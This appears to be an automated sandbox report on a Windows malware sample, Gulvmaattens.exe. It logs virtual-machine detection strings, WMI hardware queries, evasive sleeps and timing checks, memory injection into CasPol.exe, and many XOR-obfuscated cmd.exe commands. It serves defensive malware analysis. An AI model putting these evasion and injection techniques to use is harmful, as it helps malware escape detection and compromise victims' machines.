Source: Gulvmaattens.exe, 00000001.00000002.51585083450.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOKERNELBASE.DLLSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
Source: Gulvmaattens.exe, 00000001.00000002.51585083450.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: Gulvmaattens.exe, 00000001.00000002.51583404084.00000000006E8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEP
Source: Gulvmaattens.exe, 00000001.00000002.51583832661.0000000000718000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE/
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4460 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\Gulvmaattens.exe Dropped PE file which has not been started: C:\Users\user\Falder99\Interelectrode\Overvejendes\sqmapi.dll Jump to dropped file
Source: C:\Users\user\Desktop\Gulvmaattens.exe Dropped PE file which has not been started: C:\Users\user\Falder99\Interelectrode\Overvejendes\vfslog.dll Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1AA2 rdtsc 1_2_02AA1AA2
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9934 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_0040676F FindFirstFileW,FindClose, 1_2_0040676F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 1_2_00405B23
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00402902 FindFirstFileW, 1_2_00402902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\Gulvmaattens.exe API call chain: ExitProcess graph end node
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Gulvmaattens.exe, 00000001.00000002.51583832661.0000000000718000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe/
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 0000008F.00000002.55914326721.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000008F.00000003.52495782074.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Gulvmaattens.exe, 00000001.00000002.51585083450.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: Gulvmaattens.exe, 00000001.00000002.51583404084.00000000006E8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exep
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: Gulvmaattens.exe, 00000001.00000002.51585532626.00000000046F9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
Source: Gulvmaattens.exe, 00000001.00000002.51585083450.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoKERNELBASE.DLLshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dll
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_71401B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 1_2_71401B5F
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1AA2 rdtsc 1_2_02AA1AA2
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AAFDCF mov eax, dword ptr fs:[00000030h] 1_2_02AAFDCF
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AABDD1 mov eax, dword ptr fs:[00000030h] 1_2_02AABDD1
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB3510 LdrLoadDll, 1_2_02AB3510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Gulvmaattens.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: B00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x4B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
